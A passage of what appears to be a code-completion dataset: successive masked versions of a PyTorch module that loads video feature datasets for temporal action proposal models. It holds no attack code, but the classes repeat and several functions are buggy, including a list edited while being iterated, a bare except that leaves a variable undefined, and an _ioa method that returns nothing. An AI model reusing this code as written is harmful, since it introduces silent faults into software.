self.feature_path = opt['feature_path']\n self.temporal_scale = opt['temporal_scale']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __len__(self):\n return len(self.video_list)\n\n def __getitem__(self, index):\n video_name = self.video_list[index]\n pdf = pandas.read_csv('./output/PGM_proposals/' + video_name + '.csv')\n pdf = pdf[:self.top_K]\n video_feature = numpy.load('./output/PGM_feature/' + video_name +\n '.npy')\n video_feature = video_feature[:self.top_K, :]\n video_feature = torch.Tensor(video_feature)\n if self.mode == 'train':\n video_match_iou = torch.Tensor(pdf.match_iou.values[:])\n return video_feature, video_match_iou\n else:\n video_xmin = pdf.xmin.values[:]\n video_xmax = pdf.xmax.values[:]\n video_xmin_score = pdf.xmin_score.values[:]\n video_xmax_score = pdf.xmax_score.values[:]\n return (video_feature, video_xmin, video_xmax, video_xmin_score,\n video_xmax_score)\n\n\n<mask token>\n\n\nclass BMN_VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n self._get_match_map()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __getitem__(self, index):\n video_data = self._load_file(index)\n if self.mode == 'train':\n match_score_start, match_score_end, confidence_score = (self.\n _get_train_label(index, self.anchor_xmin, self.anchor_xmax))\n return (video_data, confidence_score, match_score_start,\n match_score_end)\n else:\n return index, video_data\n\n def _get_match_map(self):\n match_map = []\n for idx in range(self.temporal_scale):\n tmp_match_window = []\n xmin = self.temporal_gap * idx\n for jdx in range(1, self.temporal_scale + 1):\n xmax = xmin + self.temporal_gap * jdx\n tmp_match_window.append([xmin, xmax])\n match_map.append(tmp_match_window)\n match_map = np.array(match_map)\n match_map = np.transpose(match_map, [1, 0, 2])\n match_map = np.reshape(match_map, [-1, 2])\n self.match_map = match_map\n self.anchor_xmin = [(self.temporal_gap * (i - 0.5)) for i in range(\n self.temporal_scale)]\n self.anchor_xmax = [(self.temporal_gap * (i + 0.5)) for i in range(\n 1, self.temporal_scale + 1)]\n\n def _load_file(self, index):\n video_name = self.video_list[index]\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(self.\n temporal_scale) + '/' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n gt_iou_map = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n tmp_gt_iou_map = iou_with_anchors(self.match_map[:, 0], self.\n match_map[:, 1], tmp_start, tmp_end)\n tmp_gt_iou_map = np.reshape(tmp_gt_iou_map, [self.\n temporal_scale, self.temporal_scale])\n gt_iou_map.append(tmp_gt_iou_map)\n gt_iou_map = np.array(gt_iou_map)\n gt_iou_map = np.max(gt_iou_map, axis=0)\n gt_iou_map = torch.Tensor(gt_iou_map)\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = 3 * self.temporal_gap\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(ioa_with_anchors(anchor_xmin[\n jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(ioa_with_anchors(anchor_xmin[jdx],\n anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1])))\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_start, match_score_end, gt_iou_map\n\n def __len__(self):\n return len(self.video_list)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef load_json(file):\n with open(file) as json_file:\n data = json.load(json_file)\n return data\n\n\nclass VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.boundary_ratio = opt['boundary_ratio']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('Before check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def __getitem__(self, index):\n video_data, anchor_xmin, anchor_xmax = self._get_base_data(index)\n if self.mode == 'train':\n match_score_action, match_score_start, match_score_end = (self.\n _get_train_label(index, anchor_xmin, anchor_xmax))\n return (video_data, match_score_action, match_score_start,\n match_score_end)\n else:\n return index, video_data, anchor_xmin, anchor_xmax\n\n def _get_base_data(self, index):\n video_name = self.video_list[index]\n anchor_xmin = [(self.temporal_gap * i) for i in range(self.\n temporal_scale)]\n anchor_xmax = [(self.temporal_gap * i) for i in range(1, self.\n temporal_scale + 1)]\n try:\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video_name + '.csv')\n except:\n print('Error in ' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data, anchor_xmin, anchor_xmax\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = np.maximum(self.temporal_gap, self.boundary_ratio *\n gt_lens)\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_action = []\n for jdx in range(len(anchor_xmin)):\n match_score_action.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_xmins, gt_xmaxs)))\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_end_bboxs[:, 0],\n gt_end_bboxs[:, 1])))\n match_score_action = torch.Tensor(match_score_action)\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_action, match_score_start, match_score_end\n\n def _ioa_with_anchors(self, anchors_min, anchors_max, box_min, box_max):\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.0)\n scores = np.divide(inter_len, len_anchors)\n return scores\n\n def _ioa(self, anchors, gts):\n len_anchors = anchors[:, 1] - anchors[:, 0]\n int_min = np.maximum(anchors[:, 0], gts[:, 0])\n int_max = np.minimum(anchors[:, 1], gts[:, 1])\n np.maximum(np.expand_dims(np.arange(1, 5), 1), np.arange(3))\n\n def __len__(self):\n return len(self.video_list)\n\n\nclass ProposalDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.subset = subset\n self.mode = opt['mode']\n if self.mode == 'train':\n self.top_K = opt['pem_top_K']\n else:\n self.top_K = opt['pem_top_K_inference']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self.feature_path = opt['feature_path']\n self.temporal_scale = opt['temporal_scale']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __len__(self):\n return len(self.video_list)\n\n def __getitem__(self, index):\n video_name = self.video_list[index]\n pdf = pandas.read_csv('./output/PGM_proposals/' + video_name + '.csv')\n pdf = pdf[:self.top_K]\n video_feature = numpy.load('./output/PGM_feature/' + video_name +\n '.npy')\n video_feature = video_feature[:self.top_K, :]\n video_feature = torch.Tensor(video_feature)\n if self.mode == 'train':\n video_match_iou = torch.Tensor(pdf.match_iou.values[:])\n return video_feature, video_match_iou\n else:\n video_xmin = pdf.xmin.values[:]\n video_xmax = pdf.xmax.values[:]\n video_xmin_score = pdf.xmin_score.values[:]\n video_xmax_score = pdf.xmax_score.values[:]\n return (video_feature, video_xmin, video_xmax, video_xmin_score,\n video_xmax_score)\n\n\ndef load_json(file):\n with open(file) as json_file:\n json_data = json.load(json_file)\n return json_data\n\n\nclass BMN_VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n self._get_match_map()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __getitem__(self, index):\n video_data = self._load_file(index)\n if self.mode == 'train':\n match_score_start, match_score_end, confidence_score = (self.\n _get_train_label(index, self.anchor_xmin, self.anchor_xmax))\n return (video_data, confidence_score, match_score_start,\n match_score_end)\n else:\n return index, video_data\n\n def _get_match_map(self):\n match_map = []\n for idx in range(self.temporal_scale):\n tmp_match_window = []\n xmin = self.temporal_gap * idx\n for jdx in range(1, self.temporal_scale + 1):\n xmax = xmin + self.temporal_gap * jdx\n tmp_match_window.append([xmin, xmax])\n match_map.append(tmp_match_window)\n match_map = np.array(match_map)\n match_map = np.transpose(match_map, [1, 0, 2])\n match_map = np.reshape(match_map, [-1, 2])\n self.match_map = match_map\n self.anchor_xmin = [(self.temporal_gap * (i - 0.5)) for i in range(\n self.temporal_scale)]\n self.anchor_xmax = [(self.temporal_gap * (i + 0.5)) for i in range(\n 1, self.temporal_scale + 1)]\n\n def _load_file(self, index):\n video_name = self.video_list[index]\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(self.\n temporal_scale) + '/' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n gt_iou_map = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n tmp_gt_iou_map = iou_with_anchors(self.match_map[:, 0], self.\n match_map[:, 1], tmp_start, tmp_end)\n tmp_gt_iou_map = np.reshape(tmp_gt_iou_map, [self.\n temporal_scale, self.temporal_scale])\n gt_iou_map.append(tmp_gt_iou_map)\n gt_iou_map = np.array(gt_iou_map)\n gt_iou_map = np.max(gt_iou_map, axis=0)\n gt_iou_map = torch.Tensor(gt_iou_map)\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = 3 * self.temporal_gap\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(ioa_with_anchors(anchor_xmin[\n jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(ioa_with_anchors(anchor_xmin[jdx],\n anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1])))\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_start, match_score_end, gt_iou_map\n\n def __len__(self):\n return len(self.video_list)\n\n\n<mask token>\n\n\ndef iou_with_anchors(anchors_min, anchors_max, box_min, box_max):\n \"\"\"Compute jaccard score between a box and the anchors.\n \"\"\"\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.0)\n union_len = len_anchors - inter_len + box_max - box_min\n jaccard = np.divide(inter_len, union_len)\n return jaccard\n\n\n<mask token>\n", "step-4": "import numpy as np\nimport pandas as pd\nimport pandas\nimport numpy\nimport json\nimport torch.utils.data as data\nimport os\nimport torch\n\n\ndef load_json(file):\n with open(file) as json_file:\n data = json.load(json_file)\n return data\n\n\nclass VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.boundary_ratio = opt['boundary_ratio']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('Before check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def __getitem__(self, index):\n video_data, anchor_xmin, anchor_xmax = self._get_base_data(index)\n if self.mode == 'train':\n match_score_action, match_score_start, match_score_end = (self.\n _get_train_label(index, anchor_xmin, anchor_xmax))\n return (video_data, match_score_action, match_score_start,\n match_score_end)\n else:\n return index, video_data, anchor_xmin, anchor_xmax\n\n def _get_base_data(self, index):\n video_name = self.video_list[index]\n anchor_xmin = [(self.temporal_gap * i) for i in range(self.\n temporal_scale)]\n anchor_xmax = [(self.temporal_gap * i) for i in range(1, self.\n temporal_scale + 1)]\n try:\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video_name + '.csv')\n except:\n print('Error in ' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data, anchor_xmin, anchor_xmax\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = np.maximum(self.temporal_gap, self.boundary_ratio *\n gt_lens)\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_action = []\n for jdx in range(len(anchor_xmin)):\n match_score_action.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_xmins, gt_xmaxs)))\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(self._ioa_with_anchors(\n anchor_xmin[jdx], anchor_xmax[jdx], gt_end_bboxs[:, 0],\n gt_end_bboxs[:, 1])))\n match_score_action = torch.Tensor(match_score_action)\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_action, match_score_start, match_score_end\n\n def _ioa_with_anchors(self, anchors_min, anchors_max, box_min, box_max):\n len_anchors = anchors_max - anchors_min\n int_xmin = np.maximum(anchors_min, box_min)\n int_xmax = np.minimum(anchors_max, box_max)\n inter_len = np.maximum(int_xmax - int_xmin, 0.0)\n scores = np.divide(inter_len, len_anchors)\n return scores\n\n def _ioa(self, anchors, gts):\n len_anchors = anchors[:, 1] - anchors[:, 0]\n int_min = np.maximum(anchors[:, 0], gts[:, 0])\n int_max = np.minimum(anchors[:, 1], gts[:, 1])\n np.maximum(np.expand_dims(np.arange(1, 5), 1), np.arange(3))\n\n def __len__(self):\n return len(self.video_list)\n\n\nclass ProposalDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.subset = subset\n self.mode = opt['mode']\n if self.mode == 'train':\n self.top_K = opt['pem_top_K']\n else:\n self.top_K = opt['pem_top_K_inference']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self.feature_path = opt['feature_path']\n self.temporal_scale = opt['temporal_scale']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __len__(self):\n return len(self.video_list)\n\n def __getitem__(self, index):\n video_name = self.video_list[index]\n pdf = pandas.read_csv('./output/PGM_proposals/' + video_name + '.csv')\n pdf = pdf[:self.top_K]\n video_feature = numpy.load('./output/PGM_feature/' + video_name +\n '.npy')\n video_feature = video_feature[:self.top_K, :]\n video_feature = torch.Tensor(video_feature)\n if self.mode == 'train':\n video_match_iou = torch.Tensor(pdf.match_iou.values[:])\n return video_feature, video_match_iou\n else:\n video_xmin = pdf.xmin.values[:]\n video_xmax = pdf.xmax.values[:]\n video_xmin_score = pdf.xmin_score.values[:]\n video_xmax_score = pdf.xmax_score.values[:]\n return (video_feature, video_xmin, video_xmax, video_xmin_score,\n video_xmax_score)\n\n\ndef load_json(file):\n with open(file) as json_file:\n json_data = json.load(json_file)\n return json_data\n\n\nclass BMN_VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n self._get_match_map()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __getitem__(self, index):\n video_data = self._load_file(index)\n if self.mode == 'train':\n match_score_start, match_score_end, confidence_score = (self.\n _get_train_label(index, self.anchor_xmin, self.anchor_xmax))\n return (video_data, confidence_score, match_score_start,\n match_score_end)\n else:\n return index, video_data\n\n def _get_match_map(self):\n match_map = []\n for idx in range(self.temporal_scale):\n tmp_match_window = []\n xmin = self.temporal_gap * idx\n for jdx in range(1, self.temporal_scale + 1):\n xmax = xmin + self.temporal_gap * jdx\n tmp_match_window.append([xmin, xmax])\n match_map.append(tmp_match_window)\n match_map = np.array(match_map)\n match_map = np.transpose(match_map, [1, 0, 2])\n match_map = np.reshape(match_map, [-1, 2])\n self.match_map = match_map\n self.anchor_xmin = [(self.temporal_gap * (i - 0.5)) for i in range(\n self.temporal_scale)]\n self.anchor_xmax = [(self.temporal_gap * (i + 0.5)) for i in range(\n 1, self.temporal_scale + 1)]\n\n def _load_file(self, index):\n video_name = self.video_list[index]\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(self.\n temporal_scale) + '/' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n gt_iou_map = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n tmp_gt_iou_map = iou_with_anchors(self.match_map[:, 0], self.\n match_map[:, 1], tmp_start, tmp_end)\n tmp_gt_iou_map = np.reshape(tmp_gt_iou_map, [self.\n temporal_scale, self.temporal_scale])\n gt_iou_map.append(tmp_gt_iou_map)\n gt_iou_map = np.array(gt_iou_map)\n gt_iou_map = np.max(gt_iou_map, axis=0)\n gt_iou_map = torch.Tensor(gt_iou_map)\n 